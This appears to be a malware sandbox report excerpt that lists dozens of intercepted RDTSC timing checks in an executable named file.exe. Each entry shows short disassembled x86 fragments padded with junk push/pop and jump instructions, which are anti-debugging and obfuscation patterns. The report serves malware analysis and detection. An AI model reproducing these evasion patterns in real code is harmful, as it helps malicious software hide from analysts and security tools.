Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E98330 second address: E98374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+122D3D7Bh] 0x0000000f push 00000000h 0x00000011 mov ebx, edx 0x00000013 push 00000000h 0x00000015 or ebx, dword ptr [ebp+122D3D6Fh] 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007FD4352B390Dh 0x00000024 jmp 00007FD4352B3917h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E975EA second address: E97601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD4352B3D8Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E97601 second address: E97606 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A418 second address: E9A41C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A41C second address: E9A4AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FD4352B3908h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007FD4352B3908h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 0000001Ch 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007FD4352B3908h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 0000001Bh 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c xchg eax, esi 0x0000005d push eax 0x0000005e push edx 0x0000005f jnp 00007FD4352B391Bh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A643 second address: E9A647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A647 second address: E9A655 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A655 second address: E9A65B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D5AE second address: E9D5B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D5B2 second address: E9D5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D645 second address: E9D64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FD4352B3906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9D64F second address: E9D666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0638 second address: EA063C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA063C second address: EA0648 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7FBA second address: EA7FC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7FC8 second address: EA7FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7810 second address: EA781C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA7B32 second address: EA7B44 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007FD4352B3D86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD23A second address: EAD24C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD24C second address: EAD250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD3C5 second address: EAD3D2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD3D2 second address: EAD3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1C75 second address: EB1C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FD4352B390Fh 0x0000000c popad 0x0000000d push ebx 0x0000000e jg 00007FD4352B3912h 0x00000014 jns 00007FD4352B3906h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1C9B second address: EB1CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007FD4352B3D86h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1FED second address: EB1FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB1FF5 second address: EB201D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B3D91h 0x00000009 jmp 00007FD4352B3D93h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB4E7E second address: EB4E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA2BB second address: EBA2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D8Bh 0x00000009 popad 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9DB9 second address: EB9E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FD4352B3906h 0x0000000d jng 00007FD4352B3906h 0x00000013 jmp 00007FD4352B3915h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD4352B3914h 0x00000020 jmp 00007FD4352B3919h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9E11 second address: EB9E37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FD4352B3D8Ch 0x00000012 jnl 00007FD4352B3D86h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9E37 second address: EB9E3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAAEF second address: EBAAF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAAF3 second address: EBAB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD4352B3914h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAB13 second address: EBAB17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC74 second address: EBAC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC7A second address: EBAC7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC7F second address: EBAC8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FD4352B3906h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAC8A second address: EBAC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADD7 second address: EBADFC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FD4352B3910h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD4352B390Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBADFC second address: EBAE22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B3D97h 0x00000009 jmp 00007FD4352B3D8Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0E2C second address: EC0E36 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFB3C second address: EBFB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D8Ch 0x00000009 pop edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFB52 second address: EBFB84 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jp 00007FD4352B3906h 0x0000000f pop ebx 0x00000010 jne 00007FD4352B391Ah 0x00000016 jmp 00007FD4352B3914h 0x0000001b ja 00007FD4352B390Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFE72 second address: EBFE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFFF5 second address: EBFFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBFFF9 second address: EC0003 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0003 second address: EC0007 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0191 second address: EC0195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0307 second address: EC030B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC030B second address: EC0319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0319 second address: EC033B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007FD4352B3912h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC04AE second address: EC04B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0608 second address: EC060C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC060C second address: EC0624 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E65160 second address: E6517F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4352B390Ch 0x00000008 jnp 00007FD4352B3906h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD4352B390Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6517F second address: E6519E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4352B3D8Ah 0x0000000d jmp 00007FD4352B3D8Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89220 second address: E89224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E892BF second address: E892C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E892C3 second address: E892C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E892C9 second address: E892CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E899D2 second address: E89A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD4352B3911h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FD4352B3908h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 sub dword ptr [ebp+122D1C8Eh], edi 0x0000002e jp 00007FD4352B3906h 0x00000034 push 0000001Eh 0x00000036 xor ch, FFFFFF9Fh 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d jbe 00007FD4352B3906h 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89A27 second address: E89A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89A2C second address: E89A49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89A49 second address: E89A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89A4D second address: E89A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89D47 second address: E89D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D98h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89D68 second address: E89D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89D6C second address: E89D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89D70 second address: E89D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FD4352B390Ch 0x00000013 ja 00007FD4352B3906h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89D89 second address: E89D8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89DFC second address: E89E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 jns 00007FD4352B3912h 0x0000000d jng 00007FD4352B390Ch 0x00000013 nop 0x00000014 mov ecx, 6D031429h 0x00000019 lea eax, dword ptr [ebp+1249D92Ah] 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007FD4352B3908h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 00000016h 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 mov cx, E061h 0x0000003d mov edx, 456307F5h 0x00000042 nop 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FD4352B390Eh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89E5A second address: E89E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89E5E second address: E89EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FD4352B390Fh 0x0000000e jno 00007FD4352B390Ch 0x00000014 popad 0x00000015 nop 0x00000016 xor dword ptr [ebp+12486FCCh], eax 0x0000001c lea eax, dword ptr [ebp+1249D8E6h] 0x00000022 mov cx, ax 0x00000025 call 00007FD4352B3914h 0x0000002a mov dword ptr [ebp+122D22F2h], eax 0x00000030 pop edx 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89EB4 second address: E89EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E89EB9 second address: E65160 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4352B390Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007FD4352B3910h 0x00000012 mov ch, al 0x00000014 pop edi 0x00000015 call dword ptr [ebp+122D2399h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e jo 00007FD4352B3906h 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC5051 second address: EC506B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4352B3D94h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC506B second address: EC506F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC506F second address: EC50CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4352B3D8Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FD4352B3D95h 0x00000016 pop edx 0x00000017 pushad 0x00000018 jmp 00007FD4352B3D92h 0x0000001d push edx 0x0000001e pop edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 pushad 0x00000023 jmp 00007FD4352B3D92h 0x00000028 pushad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC523A second address: EC523F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC53BD second address: EC53C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC53C6 second address: EC53CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC53CA second address: EC53CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC54FF second address: EC5503 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECD4FB second address: ECD53F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FD4352B3D86h 0x00000009 jng 00007FD4352B3D86h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FD4352B3D96h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b jmp 00007FD4352B3D98h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECD238 second address: ECD243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FD4352B3906h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E455 second address: E3E463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E463 second address: E3E475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jno 00007FD4352B3906h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E475 second address: E3E47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E47B second address: E3E480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFFDC second address: ECFFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
